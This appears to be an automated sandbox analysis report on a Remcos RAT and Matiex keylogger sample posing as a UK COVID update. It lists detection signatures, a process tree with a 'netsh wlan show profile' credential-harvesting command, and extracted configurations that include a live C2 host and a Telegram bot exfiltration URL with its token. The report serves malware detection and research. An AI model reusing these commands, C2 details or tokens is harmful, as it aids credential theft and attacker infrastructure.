Play interactive tour

Edit tour

Windows Analysis Report UK COVID UPDATES AND ENTITLEMENT.exe

Overview

General Information

Sample Name:	UK COVID UPDATES AND ENTITLEMENT.exe
Analysis ID:	481891
MD5:	fb465f2b05a6fdc86eb711d7e28e7010
SHA1:	8dd1e185249be7ae7e6ab546bf4c06b59f030d4c
SHA256:	85c6f9cc1d92580088ac090c6eeaba9169aa57290ee6568ef5278fc9170d11dc
Tags:	exeRemcosRAT
Infos:
Most interesting Screenshot:

Detection

Remcos Matiex

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Sigma detected: Capture Wi-Fi password

Antivirus detection for dropped file

Found malware configuration

Yara detected Matiex Keylogger

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Telegram RAT

Yara detected Remcos RAT

Detected Remcos RAT

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Contains functionality to capture and log keystrokes

Uses netsh to modify the Windows network and firewall settings

Contains functionality to steal Firefox passwords or cookies

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

Machine Learning detection for sample

Yara detected Beds Obfuscator

May check the online IP address of the machine

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Tries to harvest and steal ftp login credentials

Tries to harvest and steal WLAN passwords

Contains functionality to detect virtual machines (IN, VMware)

Contains functionality to steal Chrome passwords or cookies

.NET source code contains method to dynamically call methods (often used by packers)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Contains functionality for read data from the clipboard

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to shutdown / reboot the system

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains functionality to download and launch executables

Potential key logger detected (key state polling based)

Creates a window with clipboard capturing capabilities

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

UK COVID UPDATES AND ENTITLEMENT.exe (PID: 6360 cmdline: 'C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe' MD5: FB465F2B05A6FDC86EB711D7E28E7010)

powershell.exe (PID: 6632 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

UK COVID UPDATES AND ENTITLEMENT.exe (PID: 6064 cmdline: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe MD5: FB465F2B05A6FDC86EB711D7E28E7010)

UK COVID UPDATES AND ENTITLEMENT.exe (PID: 5996 cmdline: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe MD5: FB465F2B05A6FDC86EB711D7E28E7010)

UK COVID UPDATES AND ENTITLEMENT.exe (PID: 6708 cmdline: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe MD5: FB465F2B05A6FDC86EB711D7E28E7010)

UK COVID UPDATES AND ENTITLEMENT.exe (PID: 6004 cmdline: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe MD5: FB465F2B05A6FDC86EB711D7E28E7010)

UK COVID UPDATES AND ENTITLEMENT.exe (PID: 6688 cmdline: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe MD5: FB465F2B05A6FDC86EB711D7E28E7010)

UK COVID UPDATES AND ENTITLEMENT.exe (PID: 6692 cmdline: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe MD5: FB465F2B05A6FDC86EB711D7E28E7010)

UK COVID UPDATES AND ENTITLEMENT.exe (PID: 6720 cmdline: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe MD5: FB465F2B05A6FDC86EB711D7E28E7010)

dwnl.exe (PID: 2896 cmdline: 'C:\Users\user\AppData\Local\Temp\dwnl.exe' MD5: FBD3D3CDFB3553A05656C973ACCA98FA)

netsh.exe (PID: 6988 cmdline: 'netsh' wlan show profile MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 5252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WerFault.exe (PID: 7148 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 920 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "tobi12345.hopto.org:40401:pass|", "Assigned name": "UKLEADS", "Connect interval": "5", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "UK.exe", "Startup value": "remcos", "Hide file": "Disable", "Mutex": "remcos_aqizussesx", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screens", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "audio", "Connect delay": "0", "Copy folder": "UK", "Keylog folder": "remcos"}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendMessage"}

Threatname: Matiex

{"Exfil Mode": "Telegram", "Telegram Token": "1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM", "Telegram ID": "1120598411"}

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\dwnl.exe	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
C:\Users\user\AppData\Local\Temp\dwnl.exe	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x2f9c8:$remcos: Remcos 0x3023c:$remcos: Remcos 0x30274:$url: Breaking-Security.Net 0x34a96:$resource: SETTINGS
0000001C.00000002.468948804.0000000002900000.00000004.00000040.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001C.00000000.429721772.0000000002900000.00000004.00000040.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
0000001C.00000000.432136781.0000000002900000.00000004.00000040.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x355fc:$remcos: Remcos 0x35e70:$remcos: Remcos 0x35ea8:$url: Breaking-Security.Net 0x3a6b2:$resource: SETTINGS
00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x1161c:$remcos: Remcos 0x11e90:$remcos: Remcos 0x11ec8:$url: Breaking-Security.Net 0x166d2:$resource: SETTINGS
0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0xf398:$remcos: Remcos 0xfc0c:$remcos: Remcos 0x27824:$remcos: Remcos 0x28098:$remcos: Remcos 0xfc44:$url: Breaking-Security.Net 0x280d0:$url: Breaking-Security.Net 0x44e:$resource: SETTINGS
00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
00000021.00000002.492777549.0000000000822000.00000002.00020000.sdmp	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
00000021.00000002.492777549.0000000000822000.00000002.00020000.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
0000001C.00000003.464230298.0000000002ED1000.00000004.00000001.sdmp	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
0000001C.00000003.464230298.0000000002ED1000.00000004.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
0000001C.00000003.424995684.0000000002ED1000.00000004.00000001.sdmp	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
0000001C.00000003.424995684.0000000002ED1000.00000004.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
0000001C.00000000.432421502.0000000002ED0000.00000004.00000001.sdmp	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
0000001C.00000000.432421502.0000000002ED0000.00000004.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
0000001C.00000003.464012145.0000000002F40000.00000004.00000001.sdmp	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
0000001C.00000003.464012145.0000000002F40000.00000004.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
0000001C.00000000.429908152.0000000002ED0000.00000004.00000001.sdmp	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
0000001C.00000000.429908152.0000000002ED0000.00000004.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6360	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720	JoeSecurity_Matiex	Yara detected Matiex Keylogger	Joe Security
Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: dwnl.exe PID: 2896	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
Process Memory Space: dwnl.exe PID: 2896	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: dwnl.exe PID: 2896	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 43 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x11034:$name: Remcos 0x118a8:$name: Remcos 0x118fb:$name: REMCOS 0x10688:$time: %02i:%02i:%02i:%03i 0x11320:$time: %02i:%02i:%02i:%03i 0x29fc:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x11034:$remcos: Remcos 0x118a8:$remcos: Remcos 0x118e0:$url: Breaking-Security.Net 0x160ea:$resource: SETTINGS
28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x114dc:$funcs1: autogetofflinelogs 0x114c0:$funcs2: clearlogins 0x114f0:$funcs3: getofflinelogs 0x11578:$funcs4: execcom 0x114cc:$funcs5: deletekeylog 0x11798:$funcs6: remscriptexecd 0x115bc:$funcs7: getwindows 0x10da0:$funcs8: fundlldata 0x10d78:$funcs9: getfunlib 0x107ec:$funcs10: autofflinelogs 0x113b8:$funcs11: getclipboard 0x114b4:$funcs12: getscrslist 0x107e0:$funcs13: offlinelogs 0x105c8:$funcs14: getcamsingleframe 0x116e4:$funcs15: listfiles 0x115e0:$funcs16: getproclist 0x10828:$funcs17: onlinelogs 0x11700:$funcs18: getdrives 0x11784:$funcs19: remscriptsuccess 0x10600:$funcs20: getcamframe 0x1115c:$str_a1: C:\Windows\System32\cmd.exe
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x34c74:$name: Remcos 0x354e8:$name: Remcos 0x3553b:$name: REMCOS 0x342c8:$time: %02i:%02i:%02i:%03i 0x34f60:$time: %02i:%02i:%02i:%03i 0x2663c:$crypto: 0F B6 96 08 04 00 00 89 10 8B 45 08 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F4 FB FF FF 30 ...
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack	Remcos	detect Remcos in memory	JPCERT/CC Incident Response Group	0x34c74:$remcos: Remcos 0x354e8:$remcos: Remcos 0x35520:$url: Breaking-Security.Net 0x39d2a:$resource: SETTINGS
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x3511c:$funcs1: autogetofflinelogs 0x35100:$funcs2: clearlogins 0x35130:$funcs3: getofflinelogs 0x351b8:$funcs4: execcom 0x3510c:$funcs5: deletekeylog 0x353d8:$funcs6: remscriptexecd 0x351fc:$funcs7: getwindows 0x349e0:$funcs8: fundlldata 0x349b8:$funcs9: getfunlib 0x3442c:$funcs10: autofflinelogs 0x34ff8:$funcs11: getclipboard 0x350f4:$funcs12: getscrslist 0x34420:$funcs13: offlinelogs 0x34208:$funcs14: getcamsingleframe 0x35324:$funcs15: listfiles 0x35220:$funcs16: getproclist 0x34468:$funcs17: onlinelogs 0x35340:$funcs18: getdrives 0x353c4:$funcs19: remscriptsuccess 0x34240:$funcs20: getcamframe 0x34d9c:$str_a1: C:\Windows\System32\cmd.exe
0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
